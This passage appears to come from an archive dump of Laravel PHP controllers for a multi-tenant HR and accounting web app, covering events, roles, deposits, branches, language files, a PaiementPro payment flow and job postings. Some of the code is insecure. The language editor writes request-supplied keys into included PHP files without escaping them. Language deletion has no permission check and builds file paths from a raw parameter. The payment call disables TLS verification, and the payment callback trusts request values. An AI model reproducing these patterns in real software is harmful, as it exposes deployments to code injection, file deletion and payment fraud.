\Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('event.create', compact('employees', 'branch', 'departments')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if (\Auth::user()->can('Create Event')) { $validator = \Validator::make( $request->all(), [ 'branch_id' => 'required', 'department_id' => 'required', 'employee_id' => 'required', 'title' => 'required', 'start_date' => 'required', 'end_date' => 'required', 'color' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $event = new LocalEvent(); $event->branch_id = $request->branch_id; $event->department_id = json_encode($request->department_id); $event->employee_id = json_encode($request->employee_id); $event->title = $request->title; $event->start_date = $request->start_date; $event->end_date = $request->end_date; $event->color = $request->color; $event->description = $request->description; $event->created_by = \Auth::user()->creatorId(); $event->save(); // slack $setting = Utility::settings(\Auth::user()->creatorId()); $branch = Branch::find($request->branch_id); if (isset($setting['event_notification']) && $setting['event_notification'] == 1) { // $msg = $request->title . ' ' . __("for branch") . ' ' . $branch->name . ' ' . ("from") . ' ' . $request->start_date . ' ' . __("to") . ' ' . $request->end_date . '.'; $uArr = [ 'event_name' => $request->title, 'branch_name' => $branch->name, 'start_date' => $request->start_date, 'end_date' => $request->end_date, ]; Utility::send_slack_msg('new_event', $uArr); } //telegram $setting = Utility::settings(\Auth::user()->creatorId()); $branch = Branch::find($request->branch_id); if (isset($setting['telegram_event_notification']) && $setting['telegram_event_notification'] == 1) { // $msg = $request->title . ' ' . __("for branch") . ' ' . $branch->name . ' ' . ("from") . ' ' . $request->start_date . ' ' . __("to") . ' ' . $request->end_date . '.'; $uArr = [ 'event_name' => $request->title, 'branch_name' => $branch->name, 'start_date' => $request->start_date, 'end_date' => $request->end_date, ]; Utility::send_telegram_msg('new_event', $uArr); } //twilio $setting = Utility::settings(\Auth::user()->creatorId()); $branch = Branch::find($request->branch_id); $departments = Department::where('branch_id', $request->branch_id)->first(); $employee = Employee::where('branch_id', $request->branch_id)->first(); if (isset($setting['twilio_event_notification']) && $setting['twilio_event_notification'] == 1) { // $employeess = Employee::whereIn('branch_id', $request->employee_id)->get(); // foreach ($employeess as $key => $employee) { // $msg = $request->title . ' ' . __("for branch") . ' ' . $branch->name . ' ' . ("from") . ' ' . $request->start_date . ' ' . __("to") . ' ' . $request->end_date . '.'; $uArr = [ 'event_name' => $request->title, 'branch_name' => $branch->name, 'start_date' => $request->start_date, 'end_date' => $request->end_date, ]; Utility::send_twilio_msg($employee->phone, 'new_event', $uArr); // } } if (in_array('0', $request->employee_id)) { $departmentEmployee = Employee::whereIn('department_id', $request->department_id)->get()->pluck('id'); $departmentEmployee = $departmentEmployee; } else { $departmentEmployee = $request->employee_id; } foreach ($departmentEmployee as $employee) { $eventEmployee = new EventEmployee(); $eventEmployee->event_id = $event->id; $eventEmployee->employee_id = $employee; $eventEmployee->created_by = \Auth::user()->creatorId(); $eventEmployee->save(); } // google calendar if ($request->get('synchronize_type') == 'google_calender') { $type = 'event'; $request1 = new GoogleEvent(); $request1->title = $request->title; $request1->start_date = $request->start_date; $request1->end_date = $request->end_date; Utility::addCalendarData($request1, $type); } //webhook $module = 'New Event'; $webhook = Utility::webhookSetting($module); if ($webhook) { $parameter = json_encode($event); // 1 parameter is URL , 2 parameter is data , 3 parameter is method $status = Utility::WebhookCall($webhook['url'], $parameter, $webhook['method']); if ($status == true) { return redirect()->back()->with('success', __('Event successfully created.')); } else { return redirect()->back()->with('error', __('Webhook call failed.')); } } return redirect()->route('event.index')->with('success', __('Event successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Event $event) { // $events = Event::where('created_by', '=', \Auth::user()->creatorId())->get(); return redirect()->route('event.index'); } public function edit($event) { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $event = LocalEvent::find($event); return view('event.edit', compact('event', 'employees')); } public function update(Request $request, LocalEvent $event) { if (\Auth::user()->can('Edit Event')) { if ($event->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'title' => 'required', 'start_date' => 'required', 'end_date' => 'required', 'color' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $event->title = $request->title; $event->start_date = $request->start_date; $event->end_date = $request->end_date; $event->color = $request->color; $event->description = $request->description; $event->save(); // return redirect()->route('event.index')->with('success', __('Event successfully updated.')); return redirect()->back()->with('success', __('Event successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(LocalEvent $event) { if (\Auth::user()->can('Delete Event')) { if ($event->created_by == \Auth::user()->creatorId()) { $event->delete(); return redirect()->route('event.index')->with('success', __('Event successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function export() { $name = 'event' . date('Y-m-d i:h:s'); $data = Excel::download(new EventExport(), $name . '.xlsx'); return $data; } public function importFile() { return view('event.import'); } public function import(Request $request) { $rules = [ 'file' => 'required|mimes:csv,txt', ]; $validator = \Validator::make($request->all(), $rules); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $events = (new EventImport())->toArray(request()->file('file'))[0]; $totalEvents = count($events) - 1; $errorArray = []; for ($i = 1; $i <= count($events) - 1; $i++) { $event = $events[$i]; $eventsByTitle = LocalEvent::where('title', $event[2])->first(); if (!empty($eventsByTitle)) { $eventData = $eventsByTitle; } else { $eventData = new LocalEvent(); } $eventData->branch_id = $event[0]; $eventData->department_id = $event[1]; $eventData->employee_id = '["0"]'; $eventData->title = $event[2]; $eventData->start_date = $event[3]; $eventData->end_date = $event[4]; $eventData->color = $event[5]; $eventData->description = $event[6]; $eventData->created_by = $event[7]; if (empty($eventData)) { $errorArray[] = $eventData; } else { $eventData->save(); } } $errorRecord = []; if (empty($errorArray)) { $data['status'] = 'success'; $data['msg'] = __('Record successfully imported'); } else { $data['status'] = 'error'; $data['msg'] = count($errorArray) . ' ' . __('Record imported fail out of' . ' ' . $totalEvents . ' ' . 'record'); foreach ($errorArray as $errorData) { $errorRecord[] = implode(',', $errorData); } \Session::put('errorArray', $errorRecord); } return redirect()->back()->with($data['status'], $data['msg']); } public function getdepartment(Request $request) { if ($request->branch_id == 0) { $departments = Department::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id')->toArray(); } else { $departments = Department::where('created_by', '=', \Auth::user()->creatorId())->where('branch_id', $request->branch_id)->get()->pluck('name', 'id')->toArray(); } return response()->json($departments); } public function getemployee(Request $request) { if ($request->department_id == 0) { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); } else { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->whereIn('department_id',$request->department_id)->get()->pluck('name', 'id')->toArray(); } return response()->json($employees); } public function showData($id) { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $event = LocalEvent::find($id); return view('event.edit', compact('event', 'employees')); } public function get_event_data(Request $request) { $arrayJson = []; if($request->get('calender_type') == 'google_calender') { $type ='event'; $arrayJson = Utility::getCalendarData($type); } else { $data =LocalEvent::where('created_by', \Auth::user()->creatorId())->get(); foreach($data as $val) { $end_date=date_create($val->end_date); date_add($end_date,date_interval_create_from_date_string("1 days")); $arrayJson[] = [ "id"=> $val->id, "title" => $val->title, "start" => $val->start_date, "end" => date_format($end_date,"Y-m-d H:i:s"), "className" => $val->color, "allDay" => true, "url"=> route('event.edit', $val['id']), ]; } } return $arrayJson; } } Http/Controllers/RoleController.php000064400000012444150364306410013456 0ustar00can('Manage Role')) { $roles = Role::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('role.index')->with('roles', $roles); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function create() { if (\Auth::user()->can('Create Role')) { $user = \Auth::user(); if ($user->type == 'super admin' || $user->type == 'company') { $permissions = Permission::all()->pluck('name', 'id')->toArray(); } else { $permissions = new Collection(); foreach ($user->roles as $role) { $permissions = $permissions->merge($role->permissions); } $permissions = $permissions->pluck('name', 'id')->toArray(); } return view('role.create', ['permissions' => $permissions]); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function store(Request $request) { if (\Auth::user()->can('Create Role')) { $role = Role::where('name', '=', $request->name)->where('created_by', \Auth::user()->creatorId())->first(); if (isset($role)) { return redirect()->back()->with('error', __('The Role has Already Been Taken.')); } else { $this->validate( $request, [ 'name' => 'required|max:100|unique:roles,name,NULL,id,created_by,' . \Auth::user()->creatorId(), 'permissions' => 'required', ] ); $name = $request['name']; $role = new Role(); $role->name = $name; $role->created_by = \Auth::user()->creatorId(); $permissions = $request['permissions']; $role->save(); foreach ($permissions as $permission) { $p = Permission::where('id', '=', $permission)->firstOrFail(); $role = Role::where('name', '=', $name)->where('created_by', \Auth::user()->creatorId())->first(); $role->givePermissionTo($p); } return redirect()->route('roles.index')->with('success', 'Role successfully created.'); } } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function edit(Role $role) { if (\Auth::user()->can('Edit Role')) { $user = \Auth::user(); if ($user->type == 'super admin' || $user->type == 'company') { $permissions = Permission::all()->pluck('name', 'id')->toArray(); } else { $permissions = new Collection(); foreach ($user->roles as $role1) { $permissions = $permissions->merge($role1->permissions); } $permissions = $permissions->pluck('name', 'id')->toArray(); } return view('role.edit', compact('role', 'permissions')); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function update(Request $request, Role $role) { if (\Auth::user()->can('Edit Role')) { if ($role->name == 'employee') { $this->validate( $request, [ 'permissions' => 'required', ] ); } else { $this->validate( $request, [ 'name' => 'required|max:100|unique:roles,name,' . $role['id'] . ',id,created_by,' . \Auth::user()->creatorId(), 'permissions' => 'required', ] ); } $input = $request->except(['permissions']); $permissions = $request['permissions']; $role->fill($input)->save(); $p_all = Permission::all(); foreach ($p_all as $p) { $role->revokePermissionTo($p); } foreach ($permissions as $permission) { $p = Permission::where('id', '=', $permission)->firstOrFail(); $role->givePermissionTo($p); } return redirect()->route('roles.index')->with('success', 'Role successfully updated.'); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function destroy(Role $role) { if (\Auth::user()->can('Delete Role')) { $role->delete(); return redirect()->route('roles.index')->with( 'success', 'Role successfully deleted.' ); } else { return redirect()->back()->with('error', 'Permission denied.'); } } } Http/Controllers/DepositController.php000064400000016764150364306410014175 0ustar00can('Manage Deposit')) { $deposits = Deposit::where('created_by', '=', Auth::user()->creatorId())->with(['accounts', 'payers', 'income_categorys', 'payment_types'])->get(); return view('deposit.index', compact('deposits')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Deposit')) { $deposits = Deposit::where('created_by', '=', \Auth::user()->creatorId())->get(); $accounts = AccountList::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('account_name', 'id'); $incomeCategory = IncomeType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $payers = Payer::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('payer_name', 'id'); $paymentTypes = PaymentType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('deposit.create', compact('deposits', 'accounts', 'incomeCategory', 'payers', 'paymentTypes')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Deposit')) { $validator = \Validator::make( $request->all(), [ 'account_id' => 'required', 'amount' => 'required|numeric', 'date' => 'required', 'income_category_id' => 'required', 'payer_id' => 'required', 'payment_type_id' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $deposit = new Deposit(); $deposit->account_id = $request->account_id; $deposit->amount = $request->amount; $deposit->date = $request->date; $deposit->income_category_id = $request->income_category_id; $deposit->payer_id = $request->payer_id; $deposit->payment_type_id = $request->payment_type_id; $deposit->referal_id = $request->referal_id; $deposit->description = $request->description; $deposit->created_by = \Auth::user()->creatorId(); $deposit->save(); AccountList::add_Balance($request->account_id, $request->amount); return redirect()->route('deposit.index')->with('success', __('Deposit successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Deposit $deposit) { return redirect()->route('deposit.index'); } public function edit(Deposit $deposit) { if(\Auth::user()->can('Edit Deposit')) { if($deposit->created_by == \Auth::user()->creatorId()) { $deposits = Deposit::where('created_by', '=', \Auth::user()->creatorId())->get(); $accounts = AccountList::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('account_name', 'id'); $incomeCategory = IncomeType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $payers = Payer::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('payer_name', 'id'); $paymentTypes = PaymentType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('deposit.edit', compact('deposit', 'accounts', 'incomeCategory', 'payers', 'paymentTypes')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Deposit $deposit) { if(\Auth::user()->can('Edit Deposit')) { if($deposit->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'account_id' => 'required', 'amount' => 'required|numeric', 'date' => 'required', 'income_category_id' => 'required', 'payer_id' => 'required', 'payment_type_id' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $deposit->account_id = $request->account_id; $deposit->amount = $request->amount; $deposit->date = $request->date; $deposit->income_category_id = $request->income_category_id; $deposit->payer_id = $request->payer_id; $deposit->payment_type_id = $request->payment_type_id; $deposit->referal_id = $request->referal_id; $deposit->description = $request->description; $deposit->save(); return redirect()->route('deposit.index')->with('success', __('Deposit successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Deposit $deposit) { if(\Auth::user()->can('Delete Deposit')) { if($deposit->created_by == \Auth::user()->creatorId()) { $deposit->delete(); return redirect()->route('deposit.index')->with('success', __('Deposit successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function export(Request $request) { $name = 'Deposite' . date('Y-m-d i:h:s'); $data = Excel::download(new DepositExport(), $name . '.xlsx'); return $data; } } Http/Controllers/BranchController.php000064400000012732150364306410013752 0ustar00can('Manage Branch')) { $branches = Branch::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('branch.index', compact('branches')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Branch')) { return view('branch.create'); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if (\Auth::user()->can('Create Branch')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $branch = new Branch(); $branch->name = $request->name; $branch->created_by = \Auth::user()->creatorId(); $branch->save(); return redirect()->route('branch.index')->with('success', __('Branch successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Branch $branch) { return redirect()->route('branch.index'); } public function edit(Branch $branch) { if (\Auth::user()->can('Edit Branch')) { if ($branch->created_by == \Auth::user()->creatorId()) { return view('branch.edit', compact('branch')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Branch $branch) { if (\Auth::user()->can('Edit Branch')) { if ($branch->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $branch->name = $request->name; $branch->save(); return redirect()->route('branch.index')->with('success', __('Branch successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Branch $branch) { if (\Auth::user()->can('Delete Branch')) { if ($branch->created_by == \Auth::user()->creatorId()) { $employee = Employee::where('branch_id', $branch->id)->get(); if (count($employee) == 0) { $department = Department::where('branch_id', $branch->id)->first(); if (!empty($department)) { $designation = Designation::where('department_id', $department->id)->first(); } if (isset($department)) { Designation::where('department_id', $department->branch_id)->delete(); $department->delete(); } if (isset($designation)) { Designation::where('department_id', $department->branch_id)->delete(); $designation->delete(); } $branch->delete(); } else { return redirect()->route('branch.index')->with('error', __('This branch has employees. Please remove the employee from this branch.')); } return redirect()->route('branch.index')->with('success', __('Branch successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function getdepartment(Request $request) { if ($request->branch_id == 0) { $departments = Department::get()->pluck('name', 'id')->toArray(); } else { $departments = Department::where('branch_id', $request->branch_id)->get()->pluck('name', 'id')->toArray(); } return response()->json($departments); } public function getemployee(Request $request) { if (in_array('0', $request->department_id)) { $employees = Employee::get()->pluck('name', 'id')->toArray(); } else { $employees = Employee::whereIn('department_id', $request->department_id)->get()->pluck('name', 'id')->toArray(); } return response()->json($employees); } } Http/Controllers/LanguageController.php000064400000023440150364306410014276 0ustar00lang = $lang; $user->save(); if ($user->lang == 'ar' || $user->lang == 'he') { $value = 'on'; } else { $value = 'off'; } if ($user->type == 'super admin') { \DB::insert( 'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $value, 'SITE_RTL', $user->creatorId(), ] ); } else { \DB::insert( 'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $value, 'SITE_RTL', $user->creatorId(), ] ); } $check=DB::table('settings')->where('name','theme_color')->where('created_by',\Auth::user()->creatorId())->first(); if(empty($check)) { $super_admin=Utility::settings(1); \DB::insert( 'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $super_admin['theme_color'], 'theme_color', $user->creatorId(), ] ); \DB::insert( 'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $super_admin['color_flag'], 'color_flag', $user->creatorId(), ] ); } return redirect()->back()->with('success', __('Language change successfully.')); } public function manageLanguage($currantLang) { if (\Auth::user()->can('Manage Language')) { if (\Auth::user()->type == 'super admin') { $languages = Languages::pluck('fullName', 'code'); $settings = \App\Models\Utility::settings(); if (!empty($settings['disable_lang'])) { $disabledLang = explode(',', $settings['disable_lang']); } else { $disabledLang = []; } $dir = base_path() . '/resources/lang/' . $currantLang; if (!is_dir($dir)) { $dir = base_path() . '/resources/lang/en'; } $arrLabel = json_decode(file_get_contents($dir . '.json')); $arrFiles = array_diff( scandir($dir), array( '..', '.', ) ); $arrMessage = []; foreach ($arrFiles as $file) { $fileName = basename($file, ".php"); $fileData = $myArray = include $dir . "/" . $file; if (is_array($fileData)) { $arrMessage[$fileName] = $fileData; } } return view('lang.index', compact('languages', 'currantLang', 'arrLabel', 'arrMessage', 'disabledLang', 'settings')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function storeLanguageData(Request $request, $currantLang) { if (\Auth::user()->can('Create Language')) { $Filesystem = new Filesystem(); $dir = base_path() . '/resources/lang/'; if (!is_dir($dir)) { mkdir($dir); chmod($dir, 0777); } $jsonFile = $dir . "/" . $currantLang . ".json"; if (isset($request->label) && !empty($request->label)) { file_put_contents($jsonFile, json_encode($request->label)); } $langFolder = $dir . "/" . $currantLang; if (!is_dir($langFolder)) { mkdir($langFolder); chmod($langFolder, 0777); } if (isset($request->message) && !empty($request->message)) { foreach ($request->message as $fileName => $fileData) { $content = "buildArray($fileData); $content .= "];"; file_put_contents($langFolder . "/" . $fileName . '.php', $content); } } return redirect()->route('manage.language', [$currantLang])->with('success', __('Language save successfully.')); } else { return redirect()->back(); } } public function buildArray($fileData) { $content = ""; foreach ($fileData as $lable => $data) { if (is_array($data)) { $content .= "'$lable'=>[" . $this->buildArray($data) . "],"; } else { $content .= "'$lable'=>'" . addslashes($data) . "',"; } } return $content; } public function createLanguage() { return view('lang.create'); } public function storeLanguage(Request $request) { if (\Auth::user()->can('Create Language')) { $Filesystem = new Filesystem(); $langCode = strtolower($request->code); $langDir = base_path() . '/resources/lang/'; $dir = $langDir; if (!is_dir($dir)) { mkdir($dir); chmod($dir, 0777); } $dir = $dir . '/' . $langCode; $jsonFile = $dir . ".json"; \File::copy($langDir . 'en.json', $jsonFile); if (!is_dir($dir)) { mkdir($dir); chmod($dir, 0777); } $languageExist = Languages::where('code', $request->code)->orWhere('fullName', $request->fullName)->first(); if (empty($languageExist)) { $language = new Languages(); $language->code = $request->code; $language->fullName = $request->fullName; $language->save(); Utility::emailTemplateLang($request->code); Utility::notificationTemplateLang($request->code); } $Filesystem->copyDirectory($langDir . "en", $dir . "/"); return redirect()->route('manage.language', [$langCode])->with('success', __('Language successfully created.')); } else { return redirect()->back(); } } public function destroyLang($lang) { $default_lang = env('default_language') ?? 'en'; $langDir = base_path() . '/resources/lang/'; if (is_dir($langDir)) { // remove directory and file Utility::delete_directory($langDir . $lang); unlink($langDir . $lang . '.json'); // update user that has assign deleted language. User::where('lang', 'LIKE', $lang)->update(['lang' => $default_lang]); } $langName = Languages::where('code', $lang)->delete(); EmailTemplateLang::where('lang', $lang)->delete(); NotificationTemplateLangs::where('lang', $lang)->delete(); return redirect()->route('manage.language', $default_lang)->with('success', __('Language Deleted Successfully.')); } public function disableLang(Request $request) { if (\Auth::user()->type == 'super admin') { $settings = Utility::settings(); $disablelang = ''; if ($request->mode == 'off') { if (!empty($settings['disable_lang'])) { $disablelang = $settings['disable_lang']; $disablelang = $disablelang . ',' . $request->lang; } else { $disablelang = $request->lang; } \DB::insert( 'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $disablelang, 'disable_lang', \Auth::user()->creatorId(), ] ); $data['message'] = __('Language Disabled Successfully'); $data['status'] = 200; return $data; } else { $disablelang = $settings['disable_lang']; $parts = explode(',', $disablelang); while (($i = array_search($request->lang, $parts)) !== false) { unset($parts[$i]); } \DB::insert( 'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ implode(',', $parts), 'disable_lang', \Auth::user()->creatorId(), ] ); $data['message'] = __('Language Enabled Successfully'); $data['status'] = 200; return $data; } } } } Http/Controllers/PaiementProController.php000064400000021244150364306410014776 0ustar00plan_id); $plan = Plan::find($planID); $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $user = Auth::user(); if ($plan) { $get_amount = $plan->price; if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $get_amount = $plan->price - $discount_value; if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } if ($get_amount <= 0) { $authuser = Auth::user(); $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $get_amount == null ? 0 : $get_amount, 'price_currency' => $currency, 'txn_id' => '', 'payment_type' => __('Paiement Pro'), 'payment_status' => 'success', 'receipt' => null, 'user_id' => $authuser->id, ] ); $assignPlan = $authuser->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan Successfully Activated')); } } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($request->coupon)) { $call_back = route('paiementpro.status', [ 'get_amount' => $get_amount, 'plan' => $plan, 'coupon_id' => $coupons->id ]); } else { $call_back = route('paiementpro.status', [ 'get_amount' => $get_amount, 'plan' => $plan, ]); } $merchant_id = isset($payment_setting['paiementpro_merchant_id']) ? $payment_setting['paiementpro_merchant_id'] : ''; $data = array( 'merchantId' => $merchant_id, 'amount' => $get_amount, 'description' => "Api PHP", 'channel' => $request->channel, 'countryCurrencyCode' => $currency, 'referenceNumber' => "REF-" . time(), 'customerEmail' => $user->email, 'customerFirstName' => $user->name, 'customerLastname' => $user->name, 'customerPhoneNumber' => $request->mobile_number, 'notificationURL' => $call_back, 'returnURL' => $call_back, 'returnContext' => json_encode([ 'coupon_code' => $request->coupon_code, ]), ); $data = json_encode($data); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://www.paiementpro.net/webservice/onlinepayment/init/curl-init.php"); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json; charset=utf-8')); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_HEADER, FALSE); curl_setopt($ch, CURLOPT_POST, TRUE); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); $response = curl_exec($ch); curl_close($ch); $response = json_decode($response); if (isset($response->success) && $response->success == true) { // redirect to approve href return redirect($response->url); return redirect() ->route('plans.index', \Illuminate\Support\Facades\Crypt::encrypt($plan->id)) ->with('error', 'Something went wrong. OR Unknown error occurred'); } else { return redirect() ->route('plans.index', \Illuminate\Support\Facades\Crypt::encrypt($plan->id)) ->with('error', $response->message ?? 'Something went wrong.'); } } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } public function planGetpaiementproStatus(Request $request) { $payment_setting = Utility::getAdminPaymentSetting(); $currency = isset($payment_setting['currency']) ? $payment_setting['currency'] : ''; $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $getAmount = $request->get_amount; $authuser = Auth::user(); $plan = Plan::find($request->plan); Utility::referralTransaction($plan); if ($request->responsecode == 0) { $order = new Order(); $order->order_id = $orderID; $order->name = $authuser->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $getAmount; $order->price_currency = $currency; $order->txn_id = $orderID; $order->payment_type = __('Paiement Pro'); $order->payment_status = 'success'; $order->receipt = ''; $order->user_id = $authuser->id; $order->save(); $assignPlan = $authuser->assignPlan($plan->id); } else { return redirect()->back()->with('error', __('Transaction Unsuccesfull')); } $coupons = Coupon::find($request->coupon_id); if (!empty($request->coupon_id)) { if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } } Http/Controllers/JobController.php000064400000042753150364306410013275 0ustar00can('Manage Job Category')) { $jobs = Job::where('created_by', '=', \Auth::user()->creatorId())->get(); $data['total'] = Job::where('created_by', '=', \Auth::user()->creatorId())->count(); $data['active'] = Job::where('status', 'active')->where('created_by', '=', \Auth::user()->creatorId())->count(); $data['in_active'] = Job::where('status', 'in_active')->where('created_by', '=', \Auth::user()->creatorId())->count(); $Offerletter = GenerateOfferLetter::all(); $currOfferletterTempLang = GenerateOfferLetter::where('created_by', \Auth::user()->id)->where('lang', $lang)->first(); $langs = $lang; return view('job.index', compact('jobs', 'data', 'currOfferletterTempLang', 'langs')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { $categories = JobCategory::where('created_by', \Auth::user()->creatorId())->get()->pluck('title', 'id'); $categories->prepend('--', ''); $branches = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branches->prepend('All', ''); $status = Job::$status; $customQuestion = CustomQuestion::where('created_by', \Auth::user()->creatorId())->get(); return view('job.create', compact('categories', 'status', 'branches', 'customQuestion')); } public function store(Request $request) { if (\Auth::user()->can('Create Job')) { $rules = [ 'title' => 'required', 'branch' => 'required', 'category' => 'required', 'skill' => 'required', 'position' => 'required', 'start_date' => 'required', 'end_date' => 'required', 'description' => 'required', 'requirement' => 'required', 'custom_question.*' => 'required', ]; if (in_array('terms', $request->visibility)) { $rules['terms_and_conditions'] = 'required'; } $validator = \Validator::make( $request->all(), $rules ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $job = new Job(); $job->title = $request->title; $job->branch = $request->branch; $job->category = $request->category; $job->skill = $request->skill; $job->position = $request->position; $job->status = $request->status; $job->start_date = $request->start_date; $job->end_date = $request->end_date; $job->description = $request->description; $job->requirement = $request->requirement; $job->terms_and_conditions = !empty($request->terms_and_conditions) ? $request->terms_and_conditions : ''; $job->code = uniqid(); $job->applicant = !empty($request->applicant) ? implode(',', $request->applicant) : ''; $job->visibility = !empty($request->visibility) ? implode(',', $request->visibility) : ''; $job->custom_question = !empty($request->custom_question) ? implode(',', $request->custom_question) : ''; $job->created_by = \Auth::user()->creatorId(); $job->save(); return redirect()->route('job.index')->with('success', __('Job successfully created.')); } else { return 